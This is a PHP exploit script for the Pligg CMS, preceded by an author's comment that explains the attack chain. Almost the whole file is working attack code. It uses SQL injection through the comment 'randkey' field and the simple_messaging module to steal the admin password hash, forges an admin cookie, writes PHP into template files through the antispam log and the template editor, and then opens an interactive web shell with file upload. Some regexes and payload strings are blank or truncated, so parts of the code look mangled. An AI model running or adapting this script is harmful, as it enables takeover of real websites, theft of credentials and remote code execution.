#!/usr/bin/php -q -d short_open_tag=on 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } /* Pligg 0.9 BETA / 1.1.1 Remote Code Execution ( Shuld still be working on 2.x versions, not time to check / edit code to fit ) Publishing this old stuff as it was long time since last release. PLIGG is a bad coded & quite famous CMS, lot of sites uses it. How attack works (no code inspecting, too messy and too much time since i saw it) a) Pligg 0.9 Lack of input sanitize in “randkey” value while posting a comment let's you create a new comment with stored the admin hash+name. Whit this data you can: - login to admin panel - activate antispam filter - create a new rule with malicious PHP code inside - change the file where spam attacks will be logged to a valid php file - triggering the spam rule to get the code written Finally, you call directly the file you have edited to get your code running. Note: this attack will work even on 1.x versions, but because or recaptcha protection while posting comments is not jet been implemented, while you can do the attack on your own by hand. b) Pligg 1.x Default installation enables module simple_messaging, wich is vulnerable to a very simple SQLInjection attack. This gives you admin username & hash, to login to admin panel, where you can use admin template editor to edit a PHP file directly & inject your code. NOTE: if in debug mode, exploit poops uot some files and the data it found while crawling. you can use admin hash to generate a valid cookie and login via browser. Use that code to generate the cookie: echo base64_encode($user.':'.crypt($user,22).':'.md5($hash)); Many many many many other stupid bugs here and there ( take a look at the so-called secure password generator ), your time to check for those. */ $debug=1; define(STDIN, fopen("php://stdin", "r")); echo "\nEnter target site [ Es. www.example.com ]: "; $host = trim(fgets(STDIN)); echo "\nEnter Pligg installation path [ Es. /pligg/ ]: "; $path = trim(fgets(STDIN)); echo "\nEnter a valid registered username [ Es. username ]: "; $username = trim(fgets(STDIN)); echo "\nEnter password for given username [ Es. password ]: "; $password = trim(fgets(STDIN)); $port=80; $proxy=""; if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "Step 0 - Getting Pligg version & Template name\r\n"; $packet ="GET ".$p."admin/admin_editor.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); # if you are shure on what you are doing, set it manually if (preg_match('/404 Not Found/', $html)) { $pligg_ver = 0; echo "Ok, seems a 0.9 version..\r\n"; } else { $pligg_ver = 1; echo "Ok, seems a 1.x version..\r\n"; } $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); preg_match('%href="(?:[a-zA-Z0-9\-_/]*?)/templates/([a-zA-Z0-9\-_]+?)/%i', $html, $template); $template = $template[1]; file_put_contents('debug_template.txt', $html); switch ($pligg_ver) { case 0: $sh_url = "templates/$template/template.php"; break; case 1: $sh_url = "templates/$template/template_details.php"; break; } echo "Your file will be uploaded into http://$host{$p}templates/$template\r\n"; echo "Step 1 - Loggin in..\r\n"; $data="processlogin=1&username=$username&password=$password"; $packet="POST ".$p."login.php HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.='CLIENT-IP: '.rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255)."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (!preg_match('/Set-Cookie: mnm_user=/', $html)) { file_put_contents('debug_login.txt', $html); die ('Wrong credentials. Are you sure it is the correct path?'); } preg_match('/Set-Cookie: mnm_key=(.+?);/si', $html, $mnm_key); if($debug) echo $mnm_key[1]."\r\n"; echo "Step 2 - Getting your ID\r\n"; $packet ="GET ".$p."profile.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: mnm_key=".$mnm_key[1]."; mnm_user=$username;\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); preg_match('%%si', $html, $uid); $uid = $uid[1]; if($debug) echo $uid."\r\n"; switch ($pligg_ver) { case 0: echo "\nEnter a valid story name [ Es. first-story ]: "; $title = trim(fgets(STDIN)); echo "Step 3 - Getting ID of article\r\n"; $packet ="GET ".$p."story.php?title=$title HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: mnm_key=".$mnm_key[1]."; mnm_user=$username;\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); preg_match('%%si', $html, $lid); $lid = $lid[1]; if($debug) echo $lid."\r\n"; echo "Step 4 - Pligg9 SQLInjecting\r\n"; $data="comment_content=suntzu&process=newcomment&link_id=$lid&user_id=$uid&randkey=123123,concat((SELECT user_pass FROM pligg_users WHERE user_id = 1),char(124),(SELECT user_login FROM pligg_users WHERE user_id = 1))) -- "; $packet="POST ".$p."story.php?title=$title HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: mnm_key=".$mnm_key[1]."; mnm_user=$username;\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); $packet ="GET ".$p."story.php?title=$title HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: mnm_key=".$mnm_key[1]."; mnm_user=$username;\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); preg_match('%>([0-9a-f]{49})\|([a-zA-Z0-9\-.]+?)%si', $html, $hash); $a_login = $hash[2]; $a_key = $hash[1]; if ($a_key == '' | $a_login == '') { echo "So bad, seems bug here has been fixed"; exit; } $new_key = base64_encode($a_login.':'.crypt($a_login, 22).':'.md5($a_key)); echo "Step 5 - Activating antispam\r\n"; $data="var_id=editme13&var_value=true&action=save&keyval=undefined&pagename=undefined"; $packet="POST ".$p."admin_config.php HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: mnm_key=$new_key; mnm_user=$a_login;\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "Step 6 - Setting new spam rule\r\n"; $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"doban\"\r\n\r\n"; $data.=";(?#\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n\r\n"; $packet="POST ".$p."manage_banned_domains.php?id= HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Accept-Encoding: deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Referer: http://".$host.$p."admin/admin_editor.php\r\n"; $packet.="Cookie: mnm_key=$new_key; mnm_user=$a_login;\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "Step 7 - Changing spam file\r\n"; $data="var_id=editme16&var_value=templates/$template/template_details.php&action=save&keyval=undefined&pagename=undefined"; $packet="POST ".$p."admin_config.php HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: mnm_key=$new_key; mnm_user=$a_login;\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "Step 8 - Triggering spam filter\r\n"; $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"phase\"\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"url\"\r\n\r\n"; $data.="http://asdf;;>\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"id\"\r\n\r\n"; $data.="c_1\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"randkey\"\r\n\r\n"; $data.=rand(1000,1000000)."\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n\r\n"; $packet="POST ".$p."submit.php HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Accept-Encoding: deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: mnm_key=$new_key; mnm_user=$a_login;\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "Step 9 - Uploading a nicer shell\r\n"; $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"NAME\"\r\n\r\n"; $data.="template.php\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"VALUE\"\r\n\r\n"; $data.="\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n\r\n"; $packet="POST ".$p."templates/$template/template_details.php HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Accept-Encoding: deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); break; case 1: echo "Step3 - SQLInjecting\r\n"; $packet ="GET ".$p."module.php?module=simple_messaging&view=viewmsg&msg_id=0/**/UNION/**/SELECT/**/$uid,user_login,$uid,$uid,$uid,$uid,$uid,user_pass/**/from/**/pligg_users/**/WHERE/**/user_id/**/=/**/1 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: mnm_key=".$mnm_key[1]."; mnm_user=$username;\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); preg_match('%Sent:(?:)??([0-9a-fA-Z]{49})(?:)??%im', $html, $hash); preg_match('%Subject:(?:)?? (.+?)(?:)??%i', $html, $a_login); if($debug) echo $hash[1].$a_login[1]."\r\n"; file_put_contents('debug.txt', $html); $a_login = $a_login[1]; $a_key = $hash[1]; if ($a_key == '' | $a_login == '') { echo "So bad, messaging module disabled.. have to take the LONG way..\r\n"; exit; } else { $new_key = base64_encode($a_login.':'.crypt($a_login, 22).':'.md5($a_key)); echo "Step 4 - Creating Shell\r\n"; $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"save\"\r\n\r\n"; $data.="Save Changes\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"isempty\"\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"the_file2\"\r\n\r\n"; $data.="../templates/$template/template_details.php\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"updatedfile\"\r\n\r\n"; $data.="\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n\r\n"; $packet="POST ".$p."admin/admin_editor.php HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Accept-Encoding: deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Referer: http://".$host.$p."admin/admin_editor.php\r\n"; $packet.="Cookie: mnm_key=$new_key; mnm_user=$a_login;\r\n"; $packet.='CLIENT-IP: '.rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255)."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); file_put_contents('debug2.txt', $html); if (preg_match('/File NOT saved/', $html)) { echo "Damn, admin forgot to chmod file.. Let's try a bad trick..\r\n"; # #{php}file_put_contents('template.php', '<?PHP ?>'); chmod('template.php', 0777);{/php} $data="the_file=../templates/$template/footer.tpl&open=Open"; $packet="POST ".$p."admin/admin_editor.php HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: mnm_key=$new_key; mnm_user=$a_login;\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); preg_match('%%si', $html, $footer); $new_footer = $footer[1]."{php}file_put_contents('template.php', ''); {/php}"; if (preg_match('/File NOT saved/', $html)) { die("Sorry, nor this works :/ Try by hand..\r\n"); } if($debug) echo $html."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $sh_url = 'template.php'; } $packet ="GET ".$p."$sh_url?cmd= HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (!strstr($html,"666999")) { echo "Something got wrong :/ Try to upload something, maybe it works..\r\n"; } } break; } while (1) { echo "So, what are we gonna do now? 1 -> Send command to the shell 2 -> Upload a file of your choose exit -> quit Enter the number your choice: "; $choice = trim(fgets(STDIN)); switch($choice) { case 1: echo "\nPLIGG-shell - type 'exit' to quit\n"; while(1) { echo "\nPLIGG-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $cmd=base64_encode($cmd); $packet ="GET ".$p."$sh_url?cmd=$cmd HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (!eregi("666999", $html)) die("\n[-] Exploit failed...\n"); $shell = explode("666999", $html); echo "\n$shell[1]"; } else break; } break; case 2: echo "Enter name of the file to upload [ Es: c99.txt ]: "; $fname = trim(fgets(STDIN)); if (file_exists($fname)) { $file = file_get_contents($fname); $new_key = base64_encode($a_login[1].':'.crypt($a_login[1], 22).':'.md5($hash[1])); $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"name\"\r\n\r\n"; $data.=$fname."\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"value\"\r\n\r\n"; $data.=base64_encode($file)."\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n\r\n"; $packet="POST ".$p."$sh_url HTTP/1.0\r\n"; $packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Accept-Encoding: deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Referer: http://".$host.$p."admin/admin_editor.php\r\n"; $packet.="Cookie: mnm_key=$new_key; mnm_user=$a_login[1];\r\n"; $packet.='CLIENT-IP: '.rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255)."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); } else { echo "Not found, try again :/\r\n"; } break; case 'exit': exit; break; default: echo "C'mon, pick a choice from the list!\r\n"; break; } } ?>